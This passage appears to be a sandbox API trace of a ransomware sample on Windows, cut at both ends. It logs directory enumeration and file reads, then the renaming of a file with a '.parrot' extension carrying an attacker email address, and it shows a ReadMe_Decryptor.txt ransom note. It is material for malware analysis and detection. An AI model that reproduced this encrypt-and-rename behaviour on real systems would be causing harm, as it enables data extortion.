Size=0x80) returned 0x5e6250 [0077.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x6aca90 [0077.140] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1024\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.141] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.141] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.142] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.142] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.142] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.142] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2240f30 [0077.142] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1024\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.143] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.143] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.143] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.144] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.144] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.144] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.144] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.144] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ef3970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8ecd4180, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x49098, dwReserved0=0x0, dwReserved1=0x0, cFileName="StructuredQuerySchema.bin", cAlternateFileName="STRUCT~1.BIN")) returned 1 [0077.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7fd8 [0077.144] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.144] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0077.146] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.146] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x49098, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x49098, lpOverlapped=0x0) returned 1 [0077.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.163] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.173] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033\\StructuredQuerySchema.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\1033\\structuredqueryschema.bin"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033\\StructuredQuerySchema.bin.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\1033\\structuredqueryschema.bin.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.214] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.214] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbb812520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb812520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.215] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb812520, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xbb812520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb812520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0077.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0077.216] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.216] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.216] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.216] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.216] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.216] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1 [0077.216] lstrcmpW (lpString1="Burn", lpString2=".") returned 1 [0077.216] lstrcmpW (lpString1="Burn", lpString2="..") returned 1 [0077.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5d33c8 [0077.216] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.216] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.216] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.217] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.217] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.217] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.217] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.217] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bee8 [0077.218] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.218] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.218] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.218] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.218] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.218] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.218] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f30c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.218] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.218] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.218] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3b9f09b0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f09b0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.218] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3b9f09b0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f09b0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.218] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bf90 [0077.218] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.218] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f30c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.219] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3b9f09b0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f09b0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.219] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3b9f09b0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f09b0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.219] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn2\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.220] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.220] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.220] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.220] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.220] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x92637830, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.220] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x92637830, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bf90 [0077.220] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn2\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.220] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.220] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x92637830, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.220] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x92637830, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0077.222] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.223] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.224] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1 [0077.224] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f30c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Burn1", cAlternateFileName="")) returned 1 [0077.224] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Burn2", cAlternateFileName="")) returned 1 [0077.224] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Burn2", cAlternateFileName="")) returned 0 [0077.224] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.224] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.224] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, 